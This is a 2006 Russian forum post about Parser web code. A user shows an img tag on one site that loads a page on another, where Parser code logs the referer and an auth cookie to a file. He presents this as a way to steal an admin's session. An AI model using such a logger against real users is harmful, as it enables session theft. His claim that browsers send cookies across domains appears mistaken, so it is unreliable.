parser
НовостиFAQАвторыДокументацияВ действииБиблиотека
ИнструментыПолезные ссылкиХостингиСкачатьПримерыФорум

Написать ответ на текущее сообщение

 

 
   команды управления поиском

попробовал - работает. ахренеть...

Misha v.3 13.03.2006 21:46

2PAF. подробности:

на сайте_1 создал файл /_t_security.html: 
<html>
<body>
<img src="http://сайт_2/_t_img.html" width="100" height="100" />
</body>
</html>
на сайте_2 (в другом домене) создал файл /_t_img.html содержания: 
<html>
<body>
$str[^dtf:format[%Y-%m-%d %T]	$env:HTTP_REFERER	$cookie:[auth.name]^#0A]
^str.save[append;/../data/cookie.log]
</body>
</html>
при открытии http://сайт_1/_t_security.html в любом моем броузере Opera 9, IE 5.5, FF 1.5.0.2 наблюдаю в cookie.log значение куки.

т.е. зная какую куку красть (например auth.sid/auth.uid для наших сайтов или какую-то там для того-же phpbb) можно украв куку админа зайти под ним (в опере я могу прямо ручками куку отредактировать)...

всю жизнь считал что броузер пошлет куки только если запрошен элемент в том-же домене, ан нет... грустно.


Электропочта:
Форма обратной связи